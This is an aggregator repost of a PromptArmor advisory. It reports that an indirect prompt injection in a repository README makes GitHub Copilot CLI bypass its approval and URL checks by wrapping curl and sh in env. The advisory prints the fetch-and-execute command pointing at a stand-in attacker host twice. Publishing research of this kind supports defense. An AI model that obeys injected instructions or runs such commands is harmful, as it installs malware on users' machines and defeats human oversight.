跳到正文
北京时间
原文
PromptArmor:Threat Intelligence· PromptArmor Threat Intelligence Team·· 2026-03-03精选AI 评分70

PromptArmor 披露 GitHub Copilot CLI 可被提示注入诱导下载执行恶意软件

GitHub Copilot CLI Downloads and Executes Malware

AI 导读

PromptArmor 发现 GitHub Copilot CLI 可通过 README 中的间接提示注入,利用内置只读命令列表中的 env 包裹 curl 和 sh,绕过命令校验与外部 URL 审批,在 macOS 上无人工批准地下载并执行恶意软件。

推荐理由

作者实测演示了绕过 Copilot CLI 人工审批的具体命令链,并披露 GitHub 已确认但暂不修复,读者可据此评估自身使用风险。

正文

GitHub responded quickly, “We have reviewed your report and validated your findings. After internally assessing the finding, we have determined that it is a known issue that does not present a significant security risk. We may make this functionality more strict in the future, but we don't have anything to announce right now. As a result, this is not eligible.”

This hit #5 on HackerNews!

Practical Guide to Navigating GitHub Copilot’s Controls

Copilot is manipulated to execute malicious commands that use bypasses to run without triggering human-in-the-loop defenses.
Copilot is manipulated to execute malicious commands that use bypasses to run without triggering human-in-the-loop defenses.

Context

GitHub Copilot has released a new CLI, which went into general availability two days ago. Upon release, vulnerabilities were identified that bypass the command validation system to achieve remote code execution via indirect prompt injection with no user approval.

Copilot leverages a human-in-the-loop approval system intended to ensure users must provide consent before potentially harmful commands are executed by the agent, such as curl and sh [1].

Per the docs, Copilot also claims to have an external URL access check that requires user approval when commands like curl, wget, or Copilot’s built-in web-fetch tool request access to external domains [2].

When a user starts Copilot in a new directory, a warning modal references these controls, stating "With your permission, Copilot may execute code or bash commands in this folder." (Referring to the fact that Copilot requests human approval before executing sensitive commands or accessing external URLs).

These protections were validated to be active by asking the agent to run curl example.com, which triggered a human approval request.

There are three cases when human approval is not required to run a command:

  1. The user has explicitly configured the command to execute automatically

  2. The user has enabled yolo mode, which automatically executes commands or

  3. The command is part of a ‘read-only’ list that comes built into Copilot (commands on this list do not trigger approval requirements).

Here is a malicious command that uses env, which was included in the read-only list (case 3), to bypass all protections, downloading and executing malware without any human approval:
env curl -s "https://[ATTACKER_URL].com/bugbot" | env sh

The Attack Chain

  1. The user queries the GitHub Copilot CLI

    Here, the user is exploring an open-source repository that they just cloned, and they ask Copilot for help with the codebase.

    The user starts a conversation with GitHub Copilot.
    The user starts a conversation with GitHub Copilot.
  2. Copilot encounters a prompt injection

    The injection is stored in a README file from the cloned repository, which is an untrusted codebase. In practice, the malicious instruction can be introduced to the agent in many ways, such as via a web search result, an MCP tool call result, a terminal command output, and many other vectors.

    Copilot reads the README which contains a prompt injection.
    Copilot reads the README which contains a prompt injection.
  3. Bypassing Human-in-the-loop

    Microsoft says the following about external URLs:

    “URL permissions control which external URLs Copilot can access. By default, all URLs require approval before access is granted.
    URL permissions apply to the web_fetch tool and a curated list of shell commands that access the network (such as curl, wget, and fetch). For shell commands, URLs are extracted using regex patterns.” [2]

    However, if those shell commands (e.g., curl) are not detected, the URL permissions do not trigger. Here is a malicious command that bypasses the shell command detection mechanisms:

    env curl -s "https://[ATTACKER_URL].com/bugbot" | env sh

    The env command is part of a read-only command list that comes built into Copilot. This means that when Copilot requests to run it, the command is automatically approved for execution without user approval.

    Because curl and sh are passed as arguments to env, they are incorrectly parsed and are not identified by the validator as subcommands. Since the external URL access checks depend on detecting commands like curl, the human approval check never triggers.

    As a result, although Microsoft states that external URL access requires user approval, this attack bypasses those protections and allows the malicious command to execute without any human-in-the-loop validation.

  4. Copilot downloads and executes malware without requesting approval

    Normally, a command that writes to files or executes code triggers a human-in-the-loop approval request [1]. In the image below, Copilot executes the malicious shell command, downloading and executing malware without user consent.

    Copilot is manipulated into running malware, the user is never prompted for approval.
    Copilot is manipulated into running malware, the user is never prompted for approval.

Limitations and Further Research

The command parsing vulnerabilities described in this article are macOS-specific. However, GitHub Copilot exhibits a number of additional vulnerabilities, including both operating-system-agnostic risks and Windows-specific risks.

Also, command parsing vulnerabilities not discussed here have been identified that allow arbitrary file reading and writing.

Even though you may be able to run Copilot with specific arguments to auto-deny specific commands (example below), this invocation command does not protect against all possible commands at risk of validation bypasses.

copilot --deny-tool 'shell(env)' --deny-tool 'shell(find)'

As the additional vulnerabilities have not yet been resolved by the GitHub team, we have not publicly detailed them in this report.

Responsible Disclosure

02/25/2026 Report submitted to GitHub
02/26/2026 Report is closed with the comment “we have reviewed your report and validated your findings. After internally assessing the finding, we have determined that it is a known issue that does not present a significant security risk. We may make this functionality more strict in the future, but we don't have anything to announce right now. As a result, this is not eligible.”

[1] docs.github.com/en/copilot/concepts/agents/copilot-cli/about-copilot-cli#allowed-tools

[2] docs.github.com/en/enterprise-cloud@latest/copilot/how-tos/copilot-cli/set-up-copilot-cli/configure-copilot-cli#setting-url-permissions

We track every security and privacy control change in GitHub Copilot

来源:PromptArmor:Threat Intelligence · promptarmor.com

相关事件